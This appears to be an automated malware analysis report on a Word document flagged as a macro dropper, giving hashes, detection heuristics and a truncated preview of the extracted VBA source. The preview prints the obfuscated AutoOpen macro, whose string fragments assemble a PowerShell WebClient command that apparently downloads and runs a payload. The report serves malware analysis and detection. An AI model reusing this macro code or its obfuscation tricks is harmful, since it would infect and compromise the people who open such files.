Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0d57f5163c2f164e…

MALICIOUS

Office (OLE)

146.5 KB Created: 2018-02-09 10:08:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: d11430f5c2f8b0d55f78b3ae313588c7 SHA-1: fbdbaffb58fcfe82def756bc1e26eb051244fcd4 SHA-256: 0d57f5163c2f164e4bd99560c2a787abb90f2bf6e7f86e070edc60f8db7eb727
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external commands. The presence of the 'iGtURKDW' string suggests a specific command or function call within the macro's execution flow, likely related to downloading and executing a secondary payload. The ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6444637-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6444637-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30118 bytes
SHA-256: 9f642c5d4493896592e44427cca3536f3876b7092b8f92ce853a43d6d2ec439e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AXXqPKpUBJMYp"
Sub AutoOpen()
On Error Resume Next
hFloLzdFQ = (9510634 * sJthbtPWvLk * 572220 - GzXUOMa) + jFfJGp + Sqr(hGww) * (ljOJcCcczF / 5360700)
zCShLbIqD = (4434703 * MDNXUEKo * 7999152 - lYiakN) + MkwNadiHoHsFz + Sqr(uHMU) * (wFhYR / 2073185)
QOMijHbOR = (5826955 * YMlZfQj * 9344694 - jsFqQWG) + RmfMjCKP + Sqr(cEARqfdb) * (AikQpBbAbXJ / 4198336)
Application.Run "iGtURKDW", bSLtBpKTs
NNBBzfzGr = (1795987 * KJnbwzsMb * 2826415 - VXoBzikjbm) + APqz + Sqr(tAiUqq) * (aGBZ / 6028436)
AiLhHfrdM = (9316075 * VVLhpFJYkw * 6809847 - MzurfROuvEFjtb) + sjwVEwSJ + Sqr(fIQVwdoiQizkNo) * (LzBmQ / 3139289)
End Sub
Function bSLtBpKTs()
On Error Resume Next
tihLIYEzFG = (4973269 * GTEwa * 2997404 - mmLhrFjXdio) + WLoU + Sqr(mJtww) * (ZzCbdBEOzwIl / 2714689)
izAXTaiKzwF = (7161179 * scbblfMzCwSz * 8645999 - QVpnz) + kodDWYTqLOa + Sqr(iXujRVMJ) * (AzcLBL / 755432)
rWwCXYG = (6318933 * SzQwEDwYF * 2592145 - VloXs) + VQjDUb + Sqr(ZkoArUMPKlvd) * (kTqit / 3040796)
KATQZ = DZBcmkUJL + Mid(LvXBzVjh + "bUiWtiMj]48+pRnrpczidmTcwiXi" + wONAE, 9, 4)
WzocqhjwHkw = (6210949 * ZBK * 970115 - phVdvYjVc) + OzHjK + Sqr(cjMfzBhORKjFoN) * (MstnswkCHBfUwm / 9289677)
YaiUlv = (7489805 * VBz * 3371840 - ainAHMkpdjOQCE) + sSBrhE + Sqr(ShibVYjjn) * (iOSPAr / 8281393)
JGlHzXvoVs = (4692709 * SXwFhks * 4899952 - CAFkt) + LFRfrMIutwmnlz + Sqr(aKTPlFUcBrdwW) * (mKuUWDuaLh / 1019675)
zDUjz = wsOLFSlqnzWwWd + Mid(TOwjkBwL + "FBICSH+CSHIov) SysteIov+Iovm.Net.WebIov+IovCliIov+CSH+CSHIoveIov+Iovnt;QdIovCSH+CSH+IovJNSIov+IovBIov+Iov = EMEwGvNQzOwTvJC" + tuj, 4, 105)
hAjnwBHTW = (3788366 * uzAwlK * 5233466 - PUGvWXEEw) + ZMiMRKYT + Sqr(YPzUCcrhTbrA) * (hPcIJ / 8419772)
RUITd = (8336791 * jJKPSHkijpaS * 3645958 - MRA) + Tfpl + Sqr(EXPfPkIBj) * (ArGmEjUHz / 7491791)
ZVDzFcQzX = (7305034 * iriDKI * 878067 - MBvjFrDc) + wYotqSK + Sqr(ivUw) * (qwqnpXAL / 4933961)
PjiJB = dEHuwGbR + Mid(qmUIrrdPn + "QIMzQwsvMjCBkdP2CSH,[char]39-CrEPlacE ([char]68+[char]54+[char]77),[char]124-'+'CrEPlacE ([char]48+[char]51+[char]81),[char]36) 0Wo . ( ZOVENVdPiRzrLaVdXmsXViaWf" + OlNHns, 16, 127)
NqpvcL = (7754378 * zqSCj * 5403182 - YXrma) + OjzipGm + Sqr(jsQzwjNuoNhb) * (wjOKzQbcqGlR / 945224)
mnGLicQzUG = (1059993 * hduTBVO * 9474533 - Ehv) + ijiEwfPwiXpqKM + Sqr(mfftbwMKSNZSk) * (NFSUfwGchSZ / 8021483)
oWWnjlKo = (3943422 * GFdrIVKWZnUzSZ * 2196990 - ZMfKVRWVfNlK) + NUlbNDNkiKPbqj + Sqr(AfjhQqtMKJ) * (oiIMujzYL / 3554188)
fBKiAktmUVO = wHPwwZh + Mid(fslBOz + "zXozbHWLGR]113+['+'CS'+'H+CSHchAR]79),[STrINg][ch'+'AR]92) OCH2+CH2PF&'+'( ([sTring]9CSH+CSMjWtRCFaJHGC" + rYTzfMja, 10, 82)
LETFAzGf = (3414775 * NRIbLSk * 388996 - uawDs) + NNiGRrKIFVG + Sqr(dUnkHNP) * (EqFtbWSzj / 8495605)
sZJZSPX = (7269848 * mpJBB * 4115101 - dCJ) + GEw + Sqr(hWKS) * (oOiWHliuYMb / 2579946)
UBwwIDFWvKw = (6769775 * hnLljmNlbuowo * 5484420 - lbWaBX) + HmtPqFFq + Sqr(pXJRTVkbfX) * (nnh / 1744778)
cCcEVIEGP = XEVwFrCQjfkq + Mid(zhEtHUH + "VhlKLvbcOKESqjsZHmRoPLUvtkuOJ('((CSH (CH2 (IovQdJnsIov+IovadaCSH+CSHs'+'dIov+IovCH2+CS'+'H+CSHCH2 = &Iov+Iov(cTHIov+IovncTCSH+CSHH+cIov+IovTHecTHCRIDfWfZU" + SjPicWPfb, 30, 117)
nuSDQW = (7074451 * EkSoZRF * 5533973 - pkH) + wsHjPVCaihR + Sqr(kXuJsDDYNUHA) * (hPfk / 9515456)
dKUmkmcr = (7233401 * DITwnKOzisWCB * 9484740 - tKTIlhjZckGb) + GWqlwWnbEw + Sqr(hpEqUzEw) * (sVVRo / 9937709)
uvQVmRinmw = (2641709 * jrNhijs * 2381513 - lGf) + OoOzb + Sqr(csFijHRqkAZwwI) * (sNiowJL / 5716963)
DSAJYDvVrCr = CfnlFnhYJjZsTv + Mid(jlNz + "RWIuWvaNcwNu+IovHIov+Iov Iov+IoCH2+CHCSH+CSH2v+ IoCSH+CSHvCSH+CSHbAqKVUoZAiFXkmn" + fLvPqvuiU, 13, 53)
JwqqHq = (2191805 * oKXqVbjIc * 7475382 - PnRipR) + DuFjt + Sqr(sNABPhTD) * (oYnvKIF / 5068040)
EXjObCtz = (2050711 * QTMqvzkAdEQ * 4621448 - RAwI) + ituTNwwsu + Sqr(GEwUuwcDjWEBf) * (pwBQTWvMzd / 9108089)
IPKZrUXvqw
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.